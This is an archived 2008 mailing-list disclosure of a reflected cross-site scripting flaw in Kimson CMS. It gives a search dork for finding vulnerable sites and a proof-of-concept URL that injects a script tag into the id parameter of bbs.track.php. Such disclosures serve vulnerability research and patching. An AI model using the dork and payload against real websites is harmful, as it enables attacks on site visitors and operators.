Kimson cms cross site scripting vulnerability

From: <md.r00t.defacer_at_gmail.com>
Date: Mon, 17 Nov 2008 13:52:52 -0700

('binary' encoding is not supported, stored as-is)                  ########################################################################
             # #
             # .:::::Kimson Cross Site Scriptting Vulnerbility ::::. #
             ########################################################################

Discoverd By : md.r00t

special tnx to: Hadihadi(Virangar Security Team)
& all virangar members & all hackerz & Hiva Digital Security Team

--------------
D0rk: inurl:bbs.track.php?id=

----
xss:
http://site.com/[patch]/bbs.track.php?id=<script>alert(/0/)</script>
----
Contact: md.r00t.defacer_at_gmail.com

Received on Nov 18 2008